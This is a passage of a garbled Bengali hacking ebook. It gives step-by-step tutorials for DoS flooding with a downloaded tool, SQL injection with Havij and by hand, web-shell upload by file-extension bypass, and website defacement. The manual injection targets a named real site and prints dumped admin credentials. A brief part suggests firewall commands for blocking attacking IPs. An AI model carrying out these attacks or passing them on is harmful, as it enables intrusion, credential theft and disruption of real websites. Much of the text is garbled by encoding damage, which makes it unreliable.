নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 24: Hacking Bangla eBook

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

